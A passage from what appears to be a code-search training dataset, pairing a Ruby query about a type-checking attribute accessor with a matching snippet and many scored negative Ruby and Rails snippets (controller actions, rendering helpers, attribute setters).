"def destroy\n @category = DishCategory.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Категория удалена.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to(categories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to(categories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to(categories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to management_categories_url, notice: 'Category was successfully removed.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.78272814",
"0.77353686",
"0.76392984",
"0.7488916",
"0.74731207",
"0.74233276",
"0.7399541",
"0.7385346",
"0.7385346",
"0.7385346",
"0.7385346",
"0.7385346",
"0.7385346",
"0.7385346",
"0.7385346",
"0.7385346",
"0.7385346",
"0.7385346",
"0.7385346",
"0.7378597",
"0.7378597",
"0.7378597",
"0.7372517",
"0.7366761",
"0.7362291",
"0.7334964",
"0.7334964",
"0.7333799",
"0.73254865",
"0.7318471",
"0.7294363",
"0.728636",
"0.7283016",
"0.72823733",
"0.7245488",
"0.7242075",
"0.72370917",
"0.71940225",
"0.7186593",
"0.7184272",
"0.71675783",
"0.7166838",
"0.7147197",
"0.71468467",
"0.7146009",
"0.71421075",
"0.712865",
"0.71269435",
"0.7125966",
"0.7122311",
"0.71151847",
"0.7114038",
"0.711263",
"0.71069294",
"0.7101981",
"0.71015203",
"0.7098744",
"0.70979154",
"0.70844114",
"0.708277",
"0.708277",
"0.708277",
"0.708277",
"0.708277",
"0.708277",
"0.708277",
"0.708277",
"0.708277",
"0.708277",
"0.708277",
"0.708277",
"0.708277",
"0.708277",
"0.7077371",
"0.70768744",
"0.7076328",
"0.7075828",
"0.70738447",
"0.7071764",
"0.7064413",
"0.70556885",
"0.70518345",
"0.7051709",
"0.7048051",
"0.7047651",
"0.70454115",
"0.7042982",
"0.70411265",
"0.7030913",
"0.7013192",
"0.70061165",
"0.69993097",
"0.6998523",
"0.6996587",
"0.69943523",
"0.6993104",
"0.69879425",
"0.69879425",
"0.69879425",
"0.6978936",
"0.69772786"
] | 0.0 | -1 |
execute a block with a different format (ex: an html partial while in an ajax request) | def with_format(format, &block)
old_formats = formats
self.formats = [format]
block.call
self.formats = old_formats
nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def render_partial(context, options, &block); end",
"def body_content\n call_block\n end",
"def parse_block_html; end",
"def content\n call_block\n end",
"def render\n if @block\n instance_eval(&@block)\n end\n end",
"def partial_html_sections\n # Tell our application_helper#url_for to generate urls with hostname\n @generate_urls_with_host = true\n # Force background status to be the spinner--default js way of putting\n # spinner in does not generally work through ajax techniques.\n @force_bg_progress_spinner = true\n # Mark that we're doing a partial generation, because it might\n # matter later.\n @generating_embed_partials = true\n # Run the request if neccesary.\n self.service_dispatch()\n @user_request.save!\n self.api_render()\n end",
"def render_rb_ajax\n render_code(@rb, :ajax)\n end",
"def render_block(block, options = {})\n render partial: partial_name_for(block, options), object: block, as: :block\n end",
"def render(*args, &block); end",
"def render_block(name, context, blocks = {}, use_blocks = true)\n # ob_start();\n display_block(name, context, blocks, use_blocks)\n # return ob_get_clean();\n end",
"def render_ajax(event)\n fail \"event/trigger is not found\" unless event[:trigger]\n fail \"event/action is not found\" unless event[:action]\n\n <<-EOS\npost \"/#{event[:id]}\" do\n content_type :json\n response = { _db_errors: {} }\n#{indent(params_rb(event[:trigger][:params]), 1)}\n#{indent(action_rb(event[:action]), 1)}\n response.to_json\nend\n EOS\n end",
"def block_to_partial(partial_name, options = {}, &block) \n # replace :id with :cssid and :class with :cssclass\n if options[:id]\n options[:cssid] = options.delete(:id)\n else\n options[:cssid] = \"\" if options[:cssid].nil?\n end\n if options[:class]\n options[:cssclass] = options.delete(:class) \n else\n options[:cssclass] = \"\" if options[:cssclass].nil? \n end \n \n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def raw_block_to_partial(partial_name, options = {}, &block)\n options.merge!(:block => block)\n render(:partial => partial_name, :locals => options)\n end",
"def show_raw\n rid = find_request(params[:rid])\n return render_404 if rid.nil?\n\n setup_template_variables(rid)\n render partial: 'single_request'\n end",
"def html_block!\n @page << @html_block\n end",
"def block_to_partial(partial_name, options = {}, &block)\n #puts \"PARTIAL_NAME=#{partial_name},OPTIONS=#{options},BLOCK=#{block}\"\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def render_views_in_this(block)\n html = ''\n block.views.each do |view|\n models_view = view.models_view(block)\n \n if view.model_name =~ /(tag)|(image)/ && !view.scope.blank?\n scope_model = view.owner_id.blank? ? eval(\"@#{view.scope}\") : model_class(view.scope).find(view.owner_id)\n data = eval(\"scope_model.#{view.model_name.pluralize}\")\n \n elsif view.model_name == 'post' && view.scope == 'tag'\n tag = view.owner_id.blank? ? eval(\"@tag\") : Tag.find(view.owner_id)\n data = Post.find(:all, :conditions => models_view.conditions).select { |p| p.tags.map(&:name).include? tag.name }\n data = data.paginate(:per_page => 15, :page => params[:page]) if models_view.paginate\n \n else\n data = view.model.all(view_find_options(view, models_view))\n end\n \n html << render(:partial => \"#{view_types_dir}#{models_view.view_type}\", :locals => { :data => data })\n end\n html\n #rescue\n # resource = block.class.to_controller_str\n # block_str = current_user && current_user.has_permission?(resource, 'edit', params) ? \"<a href='/#{resource}/#{block.id}/edit'>#{block.title}</a>\" : block.title\n # \"<div class='flash error'>And error occured loading view in block: #{block_str}</div>\"\n end",
"def render_views_in_this(block)\n html = ''\n block.views.each do |view|\n models_view = view.models_view(block)\n \n if view.model_name =~ /(tag)|(image)/ && !view.scope.blank?\n scope_model = view.owner_id.blank? ? eval(\"@#{view.scope}\") : model_class(view.scope).find(view.owner_id)\n data = eval(\"scope_model.#{view.model_name.pluralize}\")\n \n elsif view.model_name == 'post' && view.scope == 'tag'\n tag = view.owner_id.blank? ? eval(\"@tag\") : Tag.find(view.owner_id)\n data = Post.find(:all, :conditions => models_view.conditions).select { |p| p.tags.map(&:name).include? tag.name }\n data = data.paginate(:per_page => 15, :page => params[:page]) if models_view.paginate\n \n else\n data = view.model.all(view_find_options(view, models_view))\n end\n \n html << render(:partial => \"#{view_types_dir}#{models_view.view_type}\", :locals => { :data => data })\n end\n html\n #rescue\n # resource = block.class.to_controller_str\n # block_str = current_user && current_user.has_permission?(resource, 'edit', params) ? \"<a href='/#{resource}/#{block.id}/edit'>#{block.title}</a>\" : block.title\n # \"<div class='flash error'>And error occured loading view in block: #{block_str}</div>\"\n end",
"def block_html(raw)\n raw = unindent(raw)\n\n if md = raw.match(/\\<(.+?)\\>(.*)\\<(\\/.+?)\\>/m)\n open_tag, content, close_tag = md.captures\n \"<#{open_tag}>\\n#{recursive_render(unindent(content))}<#{close_tag}>\"\n else\n raw\n end\n end",
"def update_old_data(id1,id2,data)\n render :update do |page|\n page << \"jQuery('##{id1}').hide();jQuery('##{id2}').show();jQuery('##{id1} span input[name]').val('#{data}');\"\n page << \"jQuery('#name').html('<strong>#{data}</strong>')\" if params[:field] == 'name'\n page << \"jQuery('#comment_description').html('<h>#{data}</h>')\" if params[:field] == 'comment'\n page.call \"flash_writter\", \"Blank submission is not possible\" if !params[:name].present?\n end\nend",
"def render(*iArgs, &iBlock)\n if (RailsAjax.config.Enabled)\n lArgs = _normalize_args(*iArgs, &iBlock)\n if ((request.xhr?) and\n (!lArgs.has_key?(:partial)) and\n (!lArgs.has_key?(:layout)) and\n (!lArgs.has_key?(:json)) and\n (params['format'] != 'json') and\n (self.content_type != 'application/json'))\n logger.debug \"[RailsAjax] render: iArgs=#{iArgs.inspect} iBlock?#{iBlock != nil} flash=#{flash.inspect} | Normalized arguments: #{lArgs.inspect}\"\n\n # If we have a redirection, use redirect_to\n if (lArgs[:location] == nil)\n # Complete arguments if needed\n # We don't want a special layout for Ajax requests: this was asked using AJAX for a page to be displayed in the main content\n lArgs[:layout] = false\n # Render\n lMainPage = nil\n if (iBlock == nil)\n lMainPage = render_to_string(lArgs)\n else\n lMainPage = render_to_string(lArgs) do\n iBlock.call\n end\n end\n\n # Send JSON result\n # Use 'application/json'\n self.content_type = 'application/json'\n self.response_body = get_json_response(\n :css_to_refresh => {\n RailsAjax::config.MainContainer => lMainPage\n }\n ).to_json\n elsif (lArgs[:status] == nil)\n redirect_to lArgs[:location]\n else\n redirect_to lArgs[:location], lArgs[:status]\n end\n\n elsif (iBlock == nil)\n super(*iArgs)\n else\n super(*iArgs) do\n iBlock.call\n end\n end\n elsif (iBlock == nil)\n super(*iArgs)\n else\n super(*iArgs) do\n iBlock.call\n end\n end\n\n end",
"def render(*args,&blk)\n opts = (Hash === args.last) ? args.pop : {}\n \n action = opts[:action] || params[:action]\n opts[:layout] ||= _layout \n \n choose_template_format(Merb.available_mime_types, opts)\n \n # Handles the case where render is called with an object\n if obj = args.first || opts[:obj]\n # Check for a template\n unless find_template({:action => action}.merge(opts))\n fmt = content_type\n if transform_method = Merb.mime_transform_method(fmt)\n set_response_headers fmt\n transform_args = provided_format_arguments_for(fmt)\n return case transform_args\n when Hash then obj.send(transform_method, transform_args)\n when Array then obj.send(transform_method, *transform_args)\n when Proc then\n case transform_args.arity\n when 3 then transform_args.call(obj, self, transform_method)\n when 2 then transform_args.call(obj, self)\n when 1 then transform_args.call(obj)\n else transform_args.call\n end\n else obj.send(transform_method)\n end\n end \n end\n end \n \n case\n when status = opts[:nothing]\n return render_nothing(status)\n \n when opts[:inline]\n text = opts.delete(:inline)\n return render_inline(text, opts)\n else \n set_response_headers @_template_format\n \n case @_format_value\n when String\n return @_format_value\n when Symbol\n if !Merb.available_mime_types.keys.include?(@_format_value) # render :js => \"Some js value\"\n template = find_template(:action => @_format_value)\n else\n if opts[@_format_value] == @_format_value # An edge case that lives in the specs\n # says that a render :js => :js should be catered for\n template = find_template(:action => @_format_value)\n else\n # when called from within an action as plain render within a respond_to block\n template = find_template(opts.merge( :action => action ))\n end\n end\n else\n if template = opts[:template]\n # render :template => \"this_template\"\n template = find_template( :template => template)\n else\n # a plain action render\n # def index; render; end\n template = find_template(:action => action)\n end\n end\n end\n \n unless template\n raise TemplateNotFound, \"No template matched at #{unmatched}\"\n end\n self.template ||= File.basename(template)\n\n engine = Template.engine_for(template)\n options = {\n :file => template,\n :view_context => (opts[:clean_context] ? clean_view_context(engine) : cached_view_context(engine)),\n :opts => opts\n }\n content = engine.transform(options)\n if engine.exempt_from_layout? || opts[:layout] == :none || [:js].include?(@_template_format)\n content \n else\n wrap_layout(content, opts)\n end\n end",
"def capture_html(*args, &block) \n if self.respond_to?(:is_haml?) && is_haml?\n block_is_haml?(block) ? capture_haml(*args, &block) : block.call\n elsif erb_buffer?\n result_text = capture_block(*args, &block)\n result_text.present? ? result_text : (block_given? && block.call(*args))\n else # theres no template to capture, invoke the block directly\n block.call(*args)\n end\n end",
"def render(opts = {}, &block)\n \n opts[:status] = 200 if !opts[:status]\n if opts[:to_yaml] then\n headers[\"Content-Type\"] = \"text/plain;\"\n yaml = Hash.from_xml(render_to_string(:template => opts[:to_yaml], :layout => false)).to_yaml\n render :text => yaml, :layout => false, :status => opts[:status]\n elsif opts[:to_json] then\n hash = Hash.from_xml(render_to_string(:template => opts[:to_json], :layout => false))\n hash = hash[hash.keys.first] if hash.keys.length == 1\n content = hash.to_json\n cbparam = params[:callback] || params[:jsonp]\n content = \"#{cbparam}(#{content})\" unless cbparam.blank?\n render :json => content, :layout => false, :status => opts[:status]\n elsif opts[:to_xml]\n content = render_to_string(:template => opts[:to_xml], :layout => false)\n headers[\"Content-Type\"] = \"application/xml;\"\n render :text => content, :layout => false, :status => opts[:status]\n elsif opts[:response]\n render_rest_response opts[:response]\n else\n super opts, &block\n end\nend",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def html_blocklike_show(title, content)\n render('layouts/block', :title => title, :content => content) unless content.blank?\n end",
"def run_block\n @_block_content = nil\n unless block.blank?\n @_block_content = if view.parent.present?\n capture(view, &block)\n else\n ## We've been called directly from a controller.\n yield(view)\n end\n end\n end",
"def post_block\n end",
"def post_block\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def render\n Debug.debug { \"Now rendering #{@context} block for #{self}\" }\n @document.playback_attributes @attributes\n out = renderer.render(\"block_#{@context}\", self)\n @document.callouts.next_list if @context == :colist\n out\n end",
"def render(object)\n @block.call(object)\n end",
"def render\n content = output_capture(@block) do\n instance_exec( *@args, &@block )\n end\n content_wrapped = output_capture() { wrap( content ) }\n output_concat content_wrapped\n end",
"def render_then_call(str, &blk)\n Proc.new {\n response.send_status(str.length)\n response.send_header\n response.write(str)\n blk.call \n } \n end",
"def build_html\n ApplicationController.render(partial: partial, locals: locals)\n end",
"def render_parent_block(name, context, blocks = {})\n # ob_start();\n display_parent_block(name, context, blocks)\n # return ob_get_clean();\n end",
"def send_response(result)\n @result = result\n puts \"Response/Result = \" + result\n render :inline => %{\n <%= @result %>\n }\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n @options = options\n concat(render(:partial => partial_name), block.binding)\n end",
"def show_profile_err(id,err_msg)\n render :update do |page|\n page << \"jQuery('##{id}').show();jQuery('##{id}').html('#{err_msg}')\"\n end\nend",
"def evaluate_erb; end",
"def capture_template_block(*args, &blk)\n if respond_to?(:is_haml?) && is_haml?\n capture_haml(*args, &blk)\n else\n with_output_buffer(&blk)\n end\n end",
"def erb(template) render template end",
"def partial; end",
"def partial; end",
"def partial; end",
"def partial; end",
"def render_ajax(event)\n render_event(event, :ajax)\n end",
"def response_block\n create_response_block\n end",
"def response_block\n create_response_block\n end",
"def partial(name, options={})\n old_format = self.template_format\n self.template_format = :html\n js render({ :partial => name }.merge(options))\n ensure\n self.template_format = old_format\n end",
"def reyield\n '<%=yield %>'\n end",
"def liquid_block(block)\n Liquid::Template.parse(block).render(@context)\n end",
"def ajax_response params = {}\n if params[:template]\n content = render_to_string :template => params[:template]\n else\n content = render_to_string\n end\n\n send_data resposta, :type => 'text/html', :filename => \"content_#{request.session_options[:id]}.html\"\n end",
"def show\n # uncomplete\n # render\n # complete\n end",
"def render_timereportquery_block(block, settings)\n @query = TimeReportQuery.visible.find_by_id(settings[:query_id])\n\n if @query\n if params[:debug]\n @query.set_debug(params[:debug])\n end\n\n # Smile comment : no limit to scope\n prepare_report_object\n\n prepare_report_object_hook\n\n render :partial => 'my/blocks/partials/timereport', :locals => {:query => @query, :scope => @scope, :block => block, :settings => settings}\n else\n queries = TimeReportQuery.visible.sorted\n render :partial => 'my/blocks/partials/timereport_query_selection', :locals => {:queries => queries, :block => block, :settings => settings}\n end\n end",
"def run(&block)\n @running_template = block\n end",
"def pre_block\n end",
"def pre_block\n end",
"def render_partial(*ignore_args); end",
"def content\n c = Partial.new\n c << <<-CONTENT\n\n 1. Do the thing\n 2. Do other thing\n 3. Do the third thing\n Q. Quit the thing\n\n CONTENT\n c\n end",
"def call(request)\r\n response = super(request)\r\n \r\n if not response.nil? and response.headers['Content-Type']=='text/html'\r\n response.data = ERB.new(response.data +\r\n File.open(@template, \"rb\").readlines.join).result(binding)\r\n end\r\n \r\n response\r\n end",
"def remote\n require 'blockspring'\n\n _, key = Blockspring::CLI::Auth.get_credentials\n\n block_id = @args[0]\n\n myBlock = lambda do |request, response|\n response = Blockspring.run(block_id, request.params, key)\n\n # TODO: don't autoparse the json in the library, I want the raw json\n puts response.to_json\n end\n\n Blockspring.define(myBlock)\n end",
"def render(context)\n # Sanitize the code inside the block\n resolve_code = super.to_s.gsub(/\\A(\\n|\\r)+|(\\n|\\r)+\\z/, \"\")\n \n # Invoke Rouge to format our code\n formatted_code = rouge_resolve(resolve_code)\n \n # Output the formatted code with the proper HTML tags\n to_html_code(formatted_code)\n end",
"def erb( content )\n puts \" Running embedded Ruby (erb) code/helpers...\"\n \n content = ERB.new( content ).result( binding() )\n content\n end",
"def html_block_show(block)\n title, content = send(block.class.to_s.underscore, block)\n html_blocklike_show(title, content)\n end",
"def test_show_as_edit_as_specified_as_a_block\n @controller = SquirrelsController.new\n \n get \"show\", :id => @bob, :view => 'name_as_a_block' \n assert_equal(\"showing name\", @response.body)\n\n get \"edit\", :id => @bob, :view => 'name_as_a_block'\n assert_equal(\"editing name\", @response.body)\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tputs \"format: #{format.inspect}\"\n\t\t\tdata = page_params\n\t\t\tif data\n\t\t\t\tif @page.update(data)\n\t\t\t\t\tformat.html { redirect_to @page, notice: 'Page was successfully updated.' }\n\t\t\t\t\tformat.json { render :show, status: :ok, location: @page }\n\t\t\t\t\tformat.js {}\n\t\t\t\telse\n\t\t\t\t\tformat.html { render :edit }\n\t\t\t\t\tformat.json { render json: @page.errors, status: :unprocessable_entity }\n\t\t\t\t\tformat.js {}\n\t\t\t\tend\n\t\t\telse\n\t\t\t\top = params[:op]\n\t\t\t\tcase op\n\t\t\t\t\twhen 'add_block'\n\t\t\t\t\t\t@after_id = params[:after_id]\n\t\t\t\t\t\t@after_part = params[:after_part]\n\t\t\t\t\t\t@block_type = params[:block_type]\n\t\t\t\t\t\t@part = @page.insert_part_after(@block_type, @after_part)\n\t\t\t\t#\t\t@journal_submission.sm_submit! # '1234567'\n\t\t\t\t\t\tformat.js { render 'pages/op/add_block' }\n\t\t\t\t\twhen 'remove_block'\n\t\t\t\t\t\t@block_id = params[:block_id]\n\t\t\t\t\t\[email protected]_part(@block_id)\n\t\t\t\t\t\tformat.js { render 'pages/op/remove_block' }\n\t\t\t\t\twhen 'save_part_content'\n\t\t\t\t\t\t@part_id = params[:part_id]\n\t\t\t\t\t\tcontent = params[:content]\n\t\t\t\t\t\[email protected]_part_content(@part_id, content)\n\t\t\t\t\t\tformat.js { render 'pages/op/save_part_content' }\n\t\t\t\t\twhen 'save_part_config'\n\t\t\t\t\t\t@part_id = params[:part_id]\n\t\t\t\t\t\t@part = @page.get_part @part_id\n\t\t\t\t\t\tconfig = params[:config]\n\t\t\t\t\t\tconfig = ActiveSupport::JSON.decode(config)\n\t\t\t\t\t\[email protected]_part_config(@part_id, config)\n\t\t\t\t\t\tformat.js { render 'pages/op/save_part_config' }\n\t\t\t\t#\twhen 'revise'\n\t\t\t\tend\nputs params\n\t\t\tend\n\t\tend\n\tend",
"def show\n render json: @block\n end",
"def on_partial(name, indentation)\n \"@output_buffer.concat(render(:partial => #{name.inspect}));\\n\"\n end",
"def render_aspace_partial(args)\n defaults = {:formats => [:html], :handlers => [:erb]}\n return render(defaults.merge(args))\n end",
"def by_using_call(string1, string2, &block)\r\n result = ''\r\n result += wrap_in_tag('h1', string1)\r\n result += wrap_in_tag('ul', block.call(4))\r\n result += wrap_in_tag('h2', string2)\r\nend",
"def update\n respond_to do |format|\n if @block.update(block_params)\n format.html { redirect_back(fallback_location: root_path) }\n format.json { render :show, status: :ok, location: @block }\n format.js { head :no_content}\n else\n format.html { render :edit }\n format.json { render json: @block.errors, status: :unprocessable_entity }\n format.js { }\n end\n end\n end",
"def render(&block) #:nodoc:\r\n instance_eval(&block)\r\n @output_buffer\r\n end",
"def content\n if @block\n instance_eval(&@block)\n end\n end",
"def partial(partial)\n partial_view = \"partials/_#{partial}\".to_sym\n erb partial_view, :layout => false\nend",
"def new\n\n @comment = Comment.new\n @comment.commit_sha = session[:patch_id]\n @comment.block = params[:block]\n @comment.line = params[:line]\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.js { render \"new.html\", :layout => false }\n wants.xml { render :xml => @comment }\n end\n\n end",
"def format_as_block_html(name, attr, body, indent); end",
"def render(options = nil, extra_options = {}, &block) #:doc:\n @flash=flash\nputs \"RENGINE RENDER #1\"\n options=interpret_rengine_options(options)\nputs \"RENGINE RENDER #2\"\n #no layout\n super(options,extra_options,&block)\nputs \"RENGINE RENDER #3\"\n unless self.no_wrap\nputs \"RENGINE RENDER #4a\"\n \n \n txx=render_weblab(setUserJavascript+ self.response_body.join(\"\\n\"))\n puts \"RENGINE RENDER #4b\"\n\n # puts \"===========================\\n\"+txx.join(\"\\n\")+\"\\n!================================!\"\n\n if $render_translation_link\n txx << \"\\n<div style=\\\"background-color:#aaa;color:#0ff;\\\">\\n\"\n txx << translation_tool(@displayed_blurb_names)\n txx << \"\\n</div>\\n\"\n end\nputs \"RENGINE RENDER #5\"\n\n self.response_body=txx\n \n end\n end",
"def render(*args, &block)\n options = args.last.is_a?(Hash) ? args.pop : {}\n @response.status = options.delete(:status) || 200\n layout = @layouts[options.delete(:layout) || :default]\n assigns = { :request => request, :response => response, :params => params, :session => session }\n @content = args.last.is_a?(String) ? args.last : Markaby::Builder.new(assigns, self, &(block || @views[args.last])).to_s\n @content = Markaby::Builder.new(assigns, self, &layout).to_s if layout\n @response.headers.merge!(options)\n @response.body = @content\n end",
"def partial_javascript(name, options={})\n old_format = self.template_format\n self.template_format = :js\n render({ :partial => name }.merge(options))\n ensure\n self.template_format = old_format\n end",
"def render\n content\n end",
"def render\n content\n end",
"def render\n content\n end",
"def erb(template, options = {}, locals = {})\n template = template.to_sym\n options[:layout] = options[:layout].present? ? options[:layout] : !request.xhr?\n \n super\n end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end"
] | [
"0.6462519",
"0.64606804",
"0.6451388",
"0.64014333",
"0.6225472",
"0.6206344",
"0.61626506",
"0.60735977",
"0.6058124",
"0.60069346",
"0.5984732",
"0.59455407",
"0.59347486",
"0.59331524",
"0.5906178",
"0.5905666",
"0.5882819",
"0.5882819",
"0.58650273",
"0.58508176",
"0.5849125",
"0.57988507",
"0.57845294",
"0.57786393",
"0.5766117",
"0.5766117",
"0.5752255",
"0.57411313",
"0.57339126",
"0.57339126",
"0.5724617",
"0.5724617",
"0.5724617",
"0.56971383",
"0.5688153",
"0.56637734",
"0.5662339",
"0.56410396",
"0.56216764",
"0.5609857",
"0.56082326",
"0.56001025",
"0.5593409",
"0.55932194",
"0.55843616",
"0.5581796",
"0.5581796",
"0.5581796",
"0.5581796",
"0.55782706",
"0.557339",
"0.557339",
"0.55593306",
"0.5557744",
"0.5539061",
"0.5535486",
"0.5534942",
"0.553176",
"0.5522783",
"0.5518262",
"0.5518262",
"0.5510781",
"0.5507708",
"0.5501226",
"0.549928",
"0.54983336",
"0.54910207",
"0.54905564",
"0.5488598",
"0.5475683",
"0.54607373",
"0.5456425",
"0.5455054",
"0.5454503",
"0.5446341",
"0.5444931",
"0.54415196",
"0.5440288",
"0.5431619",
"0.5424594",
"0.54238504",
"0.54238164",
"0.5414084",
"0.54138744",
"0.54138744",
"0.54138744",
"0.5403612",
"0.53999746",
"0.53999746",
"0.53999746",
"0.53999746",
"0.53999746",
"0.53999746",
"0.53999746",
"0.53999746",
"0.53999746",
"0.53999746",
"0.53999746",
"0.53999746",
"0.53999746",
"0.53999746"
] | 0.0 | -1 |
A method that takes an attribute name and its class. This creates a getter and setter for the instance variable of the same name, but the setter checks the type of value being assigned. If the type differs from that specified by the second parameter, an exception is thrown. If the type matches, then the value is assigned | def strong_attr_accessor(source_class, *name)
names.each do |name|
var_name = "@#{name}".to_sym
define_method(name) { instance_variable_get(var_name) }
define_method("#{name}=".to_sym) do |value|
raise 'Classes do not match' unless value.instance_of?(source_class)
instance_variable_set(var_name, value)
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_accessor_typesafe(*classes_args)\n classes_args.each_with_index do |attr_name, i|\n next if i%2 == 0\n\n class_name = classes_args[i-1].name\n attr_name = attr_name.to_s\n\n #getter\n self.class_eval %Q{\n def #{attr_name}\n fail \"variable <#{attr_name}> accessed without being initialized\" unless defined? @#{attr_name}\n @#{attr_name}\n end\n }\n\n #setter\n self.class_eval %Q{\n def #{attr_name}=(val)\n assert_kind_of(#{class_name}, val) if val != nil\n\n # set the value itself\n @#{attr_name}=val\n end\n }\n end\n end",
"def create_type_from_name\n raise \"attribs require a name\" if self.name.nil?\n raise \"attribs require a role\" if self.barclamp_id.nil?\n # remove the redundant part of the name (if any)\n name = self.name.gsub('-','_').camelize\n # Find the proper class to use to instantiate this attribute\n # 1. If the barclamp provides a specific class for this attribute, use it.\n # 2. Otherwise fall back on attrib class that the jig provides.\n # 3. Finally, fall back on the generic Attrib class.\n klassnames = []\n klassnames << \"Barclamp#{self.barclamp.name.camelize}::Attrib::#{name}\" if self.barclamp_id\n klassnames << \"#{self.role.jig.type}Attrib\" if self.role_id\n klassnames << \"Attrib\"\n klassnames.each do |t|\n if (t.constantize rescue nil)\n Rails.logger.info(\"Attrib: Using #{t} for #{self.name}\")\n self.type = t\n return\n else\n Rails.logger.info(\"Attrib: #{t} cannot be used for #{self.name}\")\n end\n end\n raise \"Cannot find the appropriate class for attribute #{self.name}\"\n end",
"def typecast_attribute(type, value)\n raise ArgumentError, \"a Class must be given\" unless type\n return value if value.nil?\n typecast_value(type, value)\n end",
"def strong_attr_acessor(names = {})\n names.each do |name, klass|\n var_name = \"@#{name}\".to_sym\n define_method(name) { instance_variable_get(var_name) }\n define_method(\"#{name}=\".to_sym) do |value|\n raise TypeError, \"Attribute #{var_name}: type of value should be #{klass}\" unless value.is_a?(klass)\n instance_variable_set(var_name, value)\n end\n end\n end",
"def define_attribute_setter(attribute_name, options)\n define_method \"#{attribute_name}=\" do |value|\n send(\"#{attribute_name}_will_change!\") unless value == send(attribute_name)\n\n value = ActiveModel::Type.lookup(options[:type]).deserialize(value) if options[:type]\n\n instance_variable_set(\"@#{attribute_name}\", value)\n end\n end",
"def set_attribute(name, value); end",
"def method_missing(name, *args, &block)\n ensure_apply_object_class\n\n key = name.to_s\n case key\n when /=$/\n real_key = $PREMATCH\n if have_attribute?(real_key, ['objectClass'])\n if args.size != 1\n raise ArgumentError,\n _(\"wrong number of arguments (%d for 1)\") % args.size\n end\n return set_attribute(real_key, *args, &block)\n end\n when /(?:(_before_type_cast)|(\\?))?$/\n real_key = $PREMATCH\n before_type_cast = !$1.nil?\n query = !$2.nil?\n if have_attribute?(real_key, ['objectClass'])\n if args.size > 1\n raise ArgumentError,\n _(\"wrong number of arguments (%d for 1)\") % args.size\n end\n if before_type_cast\n return get_attribute_before_type_cast(real_key, *args)\n elsif query\n return get_attribute_as_query(real_key, *args)\n else\n return get_attribute(real_key, *args)\n end\n end\n end\n super\n end",
"def []=(attribute, value)\n raise ArgumentError unless self.class.keys.include? attribute\n # coerce value according to its attribute's type before being set.\n self.instance_variable_set(\"@#{attribute}\", coerce(value, attribute))\n end",
"def method_missing(method_name, *args, &block)\n # Check if the method missing an \"attr=\" method\n raise unless method_name.to_s.end_with?(\"=\")\n\n setter = method_name\n getter = method_name.to_s.slice(0...-1).to_sym\n instance_var = \"@#{getter}\".to_sym\n\n # attr_writer\n define_singleton_method(setter) do |new_val|\n instance_variable_set(instance_var, new_val)\n end\n\n # attr_reader\n define_singleton_method(getter) { instance_variable_get(instance_var) }\n\n # Ignores all arguments but the first one\n value = args[0]\n\n # Actually sets the value on the instance variable\n send(setter, value)\n rescue MethodMissing\n # Raise error as normal, nothing to see here\n super(method_name, *args, &block)\n end",
"def parse_attribute_as(name, data, klass = NilClass)\n return if data.nil?\n value =\n case klass.name\n when 'NilClass' then data\n when 'DateTime' then klass.parse(data)\n else klass.new(data)\n end\n instance_variable_set(\"@#{name.to_s.underscore}\", value)\n end",
"def set_safe(obj,attr,id,value)\n a = try(\"#{CLASSHELPER[obj.to_sym]}.new('#{id}')\") unless a = get_obj(obj,id)\n \n unless [Array,String,Fixnum].select{|type| value.is_a?(type)}.empty?\n try(\"a.#{attr}=#{value.inspect}\")\n else\n puts \"Unknown type to store to cache.(#{value.class})\"\n end\n set_obj_val obj,id,a\n return value\n end",
"def assign_attribute_value(attribute, value)\n value = self.assign_layer_value(value, self.class._attribute_types[attribute], 0)\n self.instance_variable_set(\"@#{attribute}\", value)\n rescue => err\n Canvas.logger(:error, err.message)\n Canvas.logger(:error, err.backtrace)\n raise ArgumentError.new(\" #{attribute} for #{self.class.definition['class_name']} should be kind of #{\n self.class._attribute_types[attribute].join(\"#\")}, but got #{value.class}\")\n end",
"def attr_accessor_type(*args)\n args.each_slice(2) { |name, typ|\n attr_accessor name\n var_type (\"@\" + name.to_s), typ\n type name, \"() -> #{typ}\"\n type name.to_s + \"=\", \"(#{typ}) -> #{typ}\"\n }\n nil\n end",
